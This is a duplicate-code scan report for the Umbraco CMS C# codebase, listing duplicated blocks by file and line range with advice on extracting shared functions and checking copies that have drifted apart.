Duplicated block (14 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:222— src/Umbraco.Core/Packaging/PackagesRepository.cs:222-235 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:350-363 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Packaging/PackagesRepository.cs:222` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (14 lines × 2) src/Umbraco.Core/Services/ContentEditingService.cs:182— src/Umbraco.Core/Services/ContentEditingService.cs:182-195 | src/Umbraco.Core/Services/ElementEditingService.cs:187-200 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `updateModel` to `ContentUpdateModel` in one and `ElementUpdateModel` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (14 lines × 2) src/Umbraco.Core/Services/ContentService.cs:1317— src/Umbraco.Core/Services/ContentService.cs:1317-1330 | src/Umbraco.Core/Services/MediaService.cs:1202-1215 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `moves` to `List<(IContent Content, string OriginalPath)>` in one and `List<(IMedia Media, string OriginalPath)>` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (14 lines × 2) src/Umbraco.Core/Services/UserGroupService.cs:496— src/Umbraco.Core/Services/UserGroupService.cs:496-509 | src/Umbraco.Core/Services/UserGroupService.cs:527-540 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserGroupService.cs:496` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (14 lines × 2) src/Umbraco.Core/Services/UserService.cs:1916— src/Umbraco.Core/Services/UserService.cs:1916-1929 | src/Umbraco.Core/Services/UserService.cs:1943-1956 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserService.cs:1916` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (14 lines × 2) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1688— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1688-1701 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2078-2091 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (14 lines × 2) src/Umbraco.Infrastructure/DeliveryApi/ApiRichTextParserBase.cs:56— src/Umbraco.Infrastructure/DeliveryApi/ApiRichTextParserBase.cs:56-69 | src/Umbraco.Infrastructure/DeliveryApi/ApiRichTextParserBase.cs:104-117 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (14 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:190— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:190-203 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:510-523 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaRepository.cs:190` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (14 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Document/CreatePublicAccessDocumentController.cs:68— src/Umbraco.Cms.Api.Management/Controllers/Document/CreatePublicAccessDocumentController.cs:68-81 | src/Umbraco.Cms.Api.Management/Controllers/Document/UpdatePublicAccessDocumentController.cs:62-75 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Document/CreatePublicAccessDocumentController.cs:68` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (14 lines × 2) src/Umbraco.Core/Webhooks/Events/Member/AssignedMemberRolesWebhookEvent.cs:33— src/Umbraco.Core/Webhooks/Events/Member/AssignedMemberRolesWebhookEvent.cs:33-46 | src/Umbraco.Core/Webhooks/Events/Member/RemovedMemberRolesWebhookEvent.cs:33-46 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (14 lines × 2) src/Umbraco.Core/Packaging/PackagesRepository.cs:814— src/Umbraco.Core/Packaging/PackagesRepository.cs:814-827 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs:823-836 — before extracting anything, compare `src/Umbraco.Core/Packaging/PackagesRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs` as WHOLE FILES: this scan already matched 10 separate duplicated blocks between them, totalling at least 205 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (12 lines × 2) src/Umbraco.Core/Handlers/AuditNotificationsHandler.cs:174— src/Umbraco.Core/Handlers/AuditNotificationsHandler.cs:174-185 | src/Umbraco.Core/Handlers/AuditNotificationsHandler.cs:288-299 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Handlers/AuditNotificationsHandler.cs:174` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `notification` to `AssignedMemberRolesNotification` in one and `RemovedMemberRolesNotification` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (12 lines × 2) src/Umbraco.Core/Services/ContentPermissionService.cs:110— src/Umbraco.Core/Services/ContentPermissionService.cs:110-121 | src/Umbraco.Core/Services/ElementPermissionService.cs:102-113 — before extracting anything, compare `src/Umbraco.Core/Services/ContentPermissionService.cs` and `src/Umbraco.Core/Services/ElementPermissionService.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 100 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ContentPermissionService.cs:110` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 2) src/Umbraco.Core/Services/ExternalMemberService.cs:282— src/Umbraco.Core/Services/ExternalMemberService.cs:282-293 | src/Umbraco.Core/Services/ExternalMemberService.cs:303-314 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ExternalMemberService.cs:282` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 2) src/Umbraco.Core/Services/MediaService.cs:783— src/Umbraco.Core/Services/MediaService.cs:783-794 | src/Umbraco.Core/Services/MediaService.cs:851-862 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/MediaService.cs:783` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just before the matched lines, `src/Umbraco.Core/Services/MediaService.cs:851` calls `ToArray` and `src/Umbraco.Core/Services/MediaService.cs:783` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (12 lines × 2) src/Umbraco.Core/Services/PublishableContentServiceBase.cs:680— src/Umbraco.Core/Services/PublishableContentServiceBase.cs:680-691 | src/Umbraco.Core/Services/PublishableContentServiceBase.cs:757-768 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/PublishableContentServiceBase.cs:680` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (12 lines × 2) src/Umbraco.Core/Services/RelationService.cs:210— src/Umbraco.Core/Services/RelationService.cs:210-221 | src/Umbraco.Core/Services/RelationService.cs:241-252 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/RelationService.cs:210` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 2) src/Umbraco.Infrastructure/Examine/BaseValueSetBuilder.cs:59— src/Umbraco.Infrastructure/Examine/BaseValueSetBuilder.cs:59-70 | src/Umbraco.Infrastructure/Examine/BaseValueSetBuilder.cs:73-84 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Examine/BaseValueSetBuilder.cs:59` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (12 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:82— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:82-93 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:135-146 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:82` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:187— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:187-198 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:231-242 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PermissionRepository.cs:187` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (12 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1854— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1854-1865 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1904-1915 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit.
Duplicated block (12 lines × 2) src/Umbraco.Infrastructure/Sync/ServerMessengerBase.cs:102— src/Umbraco.Infrastructure/Sync/ServerMessengerBase.cs:102-113 | src/Umbraco.Infrastructure/Sync/ServerMessengerBase.cs:117-128 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (12 lines × 2) src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:126— src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs:126-138 | src/Umbraco.Web.Common/Security/MemberSignInManager.cs:198-209 — before extracting anything, compare `src/Umbraco.Cms.Api.Management/Security/BackOfficeSignInManager.cs` and `src/Umbraco.Web.Common/Security/MemberSignInManager.cs` as WHOLE FILES: this scan already matched 5 separate duplicated blocks between them, totalling at least 131 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (10 lines × 2) src/Umbraco.Core/Services/ContentEditingServiceBase.cs:430— src/Umbraco.Core/Services/ContentEditingServiceBase.cs:430-439 | src/Umbraco.Core/Services/ContentEditingServiceBase.cs:482-491 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/ContentEditingServiceBase.cs:430` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (10 lines × 2) src/Umbraco.Core/Services/EntityService.cs:614— src/Umbraco.Core/Services/EntityService.cs:614-623 | src/Umbraco.Core/Services/EntityService.cs:648-657 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit.
Duplicated block (10 lines × 2) src/Umbraco.Core/Services/MediaService.cs:421— src/Umbraco.Core/Services/MediaService.cs:421-430 | src/Umbraco.Core/Services/MediaService.cs:451-460 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit. Note first that the copies are not typed on the same thing: the declarations holding them bind `ids` to `IEnumerable<int>` in one and `IEnumerable<Guid>` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (10 lines × 2) src/Umbraco.Core/Services/UserGroupService.cs:399— src/Umbraco.Core/Services/UserGroupService.cs:399-408 | src/Umbraco.Core/Services/UserGroupService.cs:483-492 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserGroupService.cs:399` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The `return` at the foot of the matched lines is the enclosing body's own terminal exit, not an early one: it moves with them unchanged, and each site calls the extracted unit from the position that `return` occupied — no decision has to be handed back and re-acted on.
Duplicated block (10 lines × 2) src/Umbraco.Core/Services/UserService.cs:406— src/Umbraco.Core/Services/UserService.cs:406-415 | src/Umbraco.Core/Services/UserService.cs:438-447 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserService.cs:406` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (10 lines × 2) src/Umbraco.Infrastructure/Migrations/Install/DatabaseSchemaCreator.cs:410— src/Umbraco.Infrastructure/Migrations/Install/DatabaseSchemaCreator.cs:410-419 | src/Umbraco.Infrastructure/Migrations/Install/DatabaseSchemaCreator.cs:437-446 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Migrations/Install/DatabaseSchemaCreator.cs:410` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (10 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:204— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:204-213 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs:366-375 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (10 lines × 2) src/Umbraco.Web.Common/Security/MemberSignInManager.cs:95— src/Umbraco.Web.Common/Security/MemberSignInManager.cs:95-104 | src/Umbraco.Web.Common/Security/UmbracoSignInManager.cs:78-87 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Web.Common/Security/MemberSignInManager.cs:95` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Web.Common/Security/MemberSignInManager.cs:106` calls `NullReferenceException` and `src/Umbraco.Web.Common/Security/UmbracoSignInManager.cs:88` does not — after which the two agree again for 3 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
Duplicated block (10 lines × 2) src/Umbraco.Cms.Api.Management/Controllers/Document/RecycleBin/OriginalParentDocumentRecycleBinController.cs:77— src/Umbraco.Cms.Api.Management/Controllers/Document/RecycleBin/OriginalParentDocumentRecycleBinController.cs:77-86 | src/Umbraco.Cms.Api.Management/Controllers/Media/RecycleBin/OriginalParentMediaRecycleBinController.cs:78-87 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Controllers/Document/RecycleBin/OriginalParentDocumentRecycleBinController.cs:77` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (10 lines × 2) src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyEditor.cs:245— src/Umbraco.Infrastructure/PropertyEditors/ImageCropperPropertyEditor.cs:245-254 | src/Umbraco.Infrastructure/PropertyEditors/NotificationHandlers/FileUploadContentDeletedNotificationHandler.cs:75-84 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (10 lines × 2) src/Umbraco.Web.Website/Routing/EagerMatcherPolicy.cs:241— src/Umbraco.Web.Website/Routing/EagerMatcherPolicy.cs:241-250 | src/Umbraco.Web.Website/Routing/NotFoundSelectorPolicy.cs:65-74 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (10 lines × 2) src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:78— src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs:78-87 | src/Umbraco.Cms.Imaging.ImageSharp2/ImageProcessors/CropWebProcessor.cs:77-86 — before extracting anything, compare `src/Umbraco.Cms.Imaging.ImageSharp/ImageProcessors/CropWebProcessor.cs` and `src/Umbraco.Cms.Imaging.ImageSharp2/ImageProcessors/CropWebProcessor.cs` as WHOLE FILES: this scan already matched 3 separate duplicated blocks between them, totalling at least 43 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. The two sit in different directories, so one cannot simply be deleted in favour of the other while both are reached separately: hoist the shared part into a location both already depend on and have each file call it, and retire whichever file turns out to have no caller of its own left. Extracting one helper per block leaves the fork in place. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1116— src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1116-1124 | src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1801-1809 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1116` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1136— src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1136-1144 | src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1821-1829 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1136` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Persistence/Dtos/DocumentVersionDto.cs:17— src/Umbraco.Infrastructure/Persistence/Dtos/DocumentVersionDto.cs:17-25 | src/Umbraco.Infrastructure/Persistence/Dtos/ElementVersionDto.cs:18-26 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:187— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:187-195 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:237-245 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DomainRepository.cs:187` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserGroupRepository.cs:415— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserGroupRepository.cs:415-423 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserGroupRepository.cs:431-439 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserGroupRepository.cs:415` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (9 lines × 2) src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:723— src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:723-732 | src/Umbraco.Infrastructure/Security/MemberUserStore.cs:630-638 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately. Note first that the copies are not typed on the same thing: the declarations holding them bind `user` to `BackOfficeIdentityUser` in one and `MemberIdentityUser` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (9 lines × 2) src/Umbraco.Cms.Persistence.EFCore/Extensions/UmbracoEFCoreServiceCollectionExtensions.cs:135— src/Umbraco.Cms.Persistence.EFCore/Extensions/UmbracoEFCoreServiceCollectionExtensions.cs:135-143 | src/Umbraco.Cms.Persistence.EFCore/Extensions/UmbracoEFCoreServiceCollectionExtensions.cs:168-176 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.EFCore/Extensions/UmbracoEFCoreServiceCollectionExtensions.cs:135` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
